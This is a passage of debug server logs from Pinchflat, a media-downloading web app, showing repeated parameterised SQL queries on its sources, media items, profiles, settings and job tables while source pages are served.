WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 00:14:17.190 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=6.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 00:14:17.192 [debug] QUERY OK source="sources" db=0.4ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:14:17.193 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 00:14:17.194 [debug] QUERY OK source="media_items" db=0.7ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 00:14:17.196 [debug] QUERY OK source="sources" db=0.3ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 00:14:17.197 [debug] QUERY OK source="media_items" db=0.5ms idle=5.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 00:14:17.199 [debug] QUERY OK source="media_items" db=1.2ms idle=5.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 00:14:17.200 [info] Sent 200 in 21ms 00:14:25.149 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:14:55.152 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:15:00.137 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 00:15:07.685 [info] GET /sources/3 00:15:07.685 [info] GET /sources/4 00:15:07.686 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 00:15:07.686 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "4"} Pipelines: [:browser] 00:15:07.687 [debug] QUERY OK source="sources" db=0.8ms idle=1043.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:15:07.687 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1043.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:15:07.688 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1044.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:15:07.689 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=815.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 00:15:07.690 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [3, "executing", "available", "scheduled", "retryable"] 00:15:07.690 [debug] QUERY OK source="settings" db=0.2ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:07.746 [debug] QUERY OK source="tasks" db=57.8ms idle=45.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [4, "executing", "available", "scheduled", "retryable"] 00:15:07.747 [debug] QUERY OK source="settings" db=0.6ms queue=55.7ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:07.748 [debug] QUERY OK source="oban_jobs" db=1.2ms idle=57.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2582] 00:15:07.749 [debug] QUERY OK source="settings" db=0.8ms idle=58.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:07.750 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=57.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:07.750 [debug] QUERY OK source="settings" db=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:07.751 [debug] QUERY OK source="settings" db=0.3ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 00:15:07.752 [debug] QUERY OK source="sources" db=0.4ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:15:07.753 [debug] QUERY OK source="media_items" db=0.8ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 00:15:07.755 [debug] QUERY OK source="sources" db=0.7ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:15:07.756 [debug] QUERY OK source="media_items" db=2.0ms idle=4.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 00:15:07.757 [debug] QUERY OK source="sources" db=0.6ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:15:07.757 [debug] QUERY OK source="media_items" db=1.4ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 00:15:07.759 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 00:15:07.760 [debug] QUERY OK source="media_items" db=0.9ms idle=2.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 00:15:07.760 [debug] QUERY OK source="media_items" db=2.2ms idle=2.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 00:15:07.761 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:15:07.762 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [4] 00:15:07.763 [debug] QUERY OK source="sources" db=0.8ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 00:15:07.763 [debug] QUERY OK source="media_items" db=1.5ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 00:15:07.764 [debug] QUERY OK source="media_items" db=0.6ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 00:15:07.766 [debug] QUERY OK source="media_items" db=1.3ms idle=3.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 00:15:07.766 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:15:07.768 [info] Sent 200 in 82ms 00:15:07.769 [debug] QUERY OK source="media_items" db=1.9ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 00:15:07.770 [debug] QUERY OK source="media_items" db=1.2ms idle=5.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC 